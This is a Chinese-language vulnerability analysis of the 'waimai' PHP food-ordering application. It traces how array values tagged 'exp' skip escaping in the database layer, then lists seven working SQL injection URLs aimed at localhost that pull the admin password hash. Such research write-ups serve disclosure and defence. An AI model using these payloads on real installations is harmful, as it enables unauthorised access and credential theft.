66666
代码来源:https://github.com/caokang/waimai
0x01 前言
也是某天闲的无聊,看到CVE上有个老哥提了一个SQL的注入漏洞,就借此分析学习了一波。
0x02 分析过程
本地搭建了环境,最终产生SQL注入的代码位于inc/Lib/Core/Db.class.php
// where子单元分析
protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
if(is_array($val[1])) {
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR'))){
$likeStr = $this->comparison[strtolower($val[0])];
$like = array();
foreach ($val[1] as $item){
$like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
}
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
}
}else{
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}
}elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') ';
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if(is_string($val[1])) {
$val[1] = explode(',',$val[1]);
}
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
}
}else {
$count = count($val);
$rule = isset($val[$count-1])?strtoupper($val[$count-1]):'';
if(in_array($rule,array('AND','OR','XOR'))) {
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0])) {
$whereStr .= '('.$key.' '.$data.') '.$rule.' ';
}else{
$op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
$whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
}
}
$whereStr = substr($whereStr,0,-4);
}
}else {
//对字符串类型字段采用模糊匹配
if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
$val = '%'.$val.'%';
$whereStr .= $key.' LIKE '.$this->parseValue($val);
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
}
return $whereStr;
}
这是一个where查询的解析函数,可以看到这里根据val的类型和值进行了多个if判断,发现基本上每个条件判断里都有一个parseValue函数,我们跟进去看一下。
protected function parseValue($value) {
if(is_string($value)) {
$value = '\''.$this->escapeString($value).'\'';
}elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
$value = $this->escapeString($value[1]);
}elseif(is_array($value)) {
$value = array_map(array($this, 'parseValue'),$value);
}elseif(is_bool($value)){
$value = $value ? '1' : '0';
}elseif(is_null($value)){
$value = 'null';
}
return $value;
}
基本上调用parseValue的查询都会被增加转义符,理论上无法直接存在注入。但是仔细看可以发现,里面有一个诡异的判断:
这两个条件并没有调用parseValue,而是直接拼接了val数组的值。
所以存在两种情况可以绕过这个parseValue:
- val[0] == 'exp', val[1] == payload;
- val[2] == 'exp', val[0] == payload 或val[1] == payload;
很奇怪啊这个地方,非常不理解为啥排除了这两个地方的过滤。
后面就是找到调用关系就行了,全局搜了下parseWhereItem的调用地方,全部出现在parseWhere函数中:而parseWhere函数调用在update、delete和parseSql函数中。parseSql是一个替换SQL语句中关键字的函数:protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 $operate = isset($where['_logic'])?strtoupper($where['_logic']):''; if(in_array($operate,array('AND','OR','XOR'))){ // 定义逻辑运算规则 例如 OR XOR AND NOT $operate = ' '.$operate.' '; unset($where['_logic']); }else{ // 默认进行 AND 运算 $operate = ' AND '; } foreach ($where as $key=>$val){ $whereStr .= '( '; if(is_numeric($key)){ $key = '_complex'; } if(0===strpos($key,'_')) { // 解析特殊条件表达式 $whereStr .= $this->parseThinkWhere($key,$val); }else{ // 查询字段的安全过滤 if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){ throw_exception(L('_EXPRESS_ERROR_').':'.$key); } // 多条件支持 $multi = is_array($val) && isset($val['_multi']); $key = trim($key); if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段 $array = explode('|',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')'; } $whereStr .= implode(' OR ',$str); }elseif(strpos($key,'&')){ $array = explode('&',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')'; } $whereStr .= implode(' AND ',$str); }else{ $whereStr .= $this->parseWhereItem($this->parseKey($key),$val); } } $whereStr .= ' )'.$operate; } $whereStr = substr($whereStr,0,-strlen($operate)); } return empty($whereStr)?'':' WHERE '.$whereStr; }
当查询语句是where类型的查询时,parseWhere会传入参数,生成where查询语句。再继续向上跟进调用parseSql函数的地方buildSelectSql:public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%COMMENT%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseComment(!empty($options['comment'])?$options['comment']:'') ),$sql); return $sql; }
buildSelectSql函数向上跟进,在select函数中:public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根据页数计算limit if(strpos($options['page'],',')) { list($page,$listRows) = explode(',',$options['page']); }else{ $page = $options['page']; } $page = $page?$page:1; $listRows= isset($listRows)?$listRows:(is_numeric($options['limit'])?$options['limit']:20); $offset = $listRows*((int)$page-1); $options['limit'] = $offset.','.$listRows; } if(C('DB_SQL_BUILD_CACHE')) { // SQL创建缓存 $key = md5(serialize($options)); $value = S($key); if(false !== $value) { return $value; } } $sql = $this->parseSql($this->selectSql,$options); $sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false); if(isset($key)) { // 写入SQL创建缓存 S($key,$sql,array('expire'=>0,'length'=>C('DB_SQL_BUILD_LENGTH'),'queue'=>C('DB_SQL_BUILD_QUEUE'))); } return $sql; }
select最终调用在find函数中:public function select($options=array()) { $this->model = $options['model']; $sql = $this->buildSelectSql($options); $cache = isset($options['cache'])?$options['cache']:false; if($cache) { // 查询缓存检测 $key = is_string($cache['key'])?$cache['key']:md5($sql); $value = S($key,'',$cache); if(false !== $value) { return $value; } } $result = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array())); if($cache && false !== $result ) { // 查询缓存写入 S($key,$result,$cache); } return $result; }
因此只要在查询过程中调用find函数的,并且按照最初的分析构造传入一个数组,最终会绕过过滤函数执行SQL语句。public function find($options=array()) { if(is_numeric($options) || is_string($options)) { $where[$this->getPk()] = $options; $options = array(); $options['where'] = $where; } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options); $resultSet = $this->db->select($options); if(false === $resultSet) { return false; } if(empty($resultSet)) {// 查询结果为空 return null; } $this->data = $resultSet[0]; $this->_after_find($this->data,$options); if(!empty($this->options['result'])) { return $this->returnResult($this->data,$this->options['result']); } return $this->data; }
全局搜下find()函数,还是挺多的:
整个SQL的调用栈应该是这样的:
0x03 复现
分析完调用过程开始构造poc,以product模块为例,需要传递一个id的数组,这里用val[0] == 'exp', val[1] == payload这种方式构造,得出的完整url应该是这样的:
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
这里需要注意,我们想构造的最后的查询语句应该是这样的:
SELECT * FROM sn_article
WHERE ( (aid
in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1
所以需要两个右括号,第一个闭合WHERE中的第一个条件(aid
in ('XX')),第二个闭合WHERE。用户为admin,密码md5第一位是9。
下面开始测试
存在此处SQL问题的还有很多:
1、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
2、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp
3、http://localhost:8888/waimai-master/index.php?m=article&a=s&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
4、http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
5、http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
6、http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
7、http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
0x04 总结
参考:https://github.com/caokang/waimai/issues/9
提前给师傅们拜年了~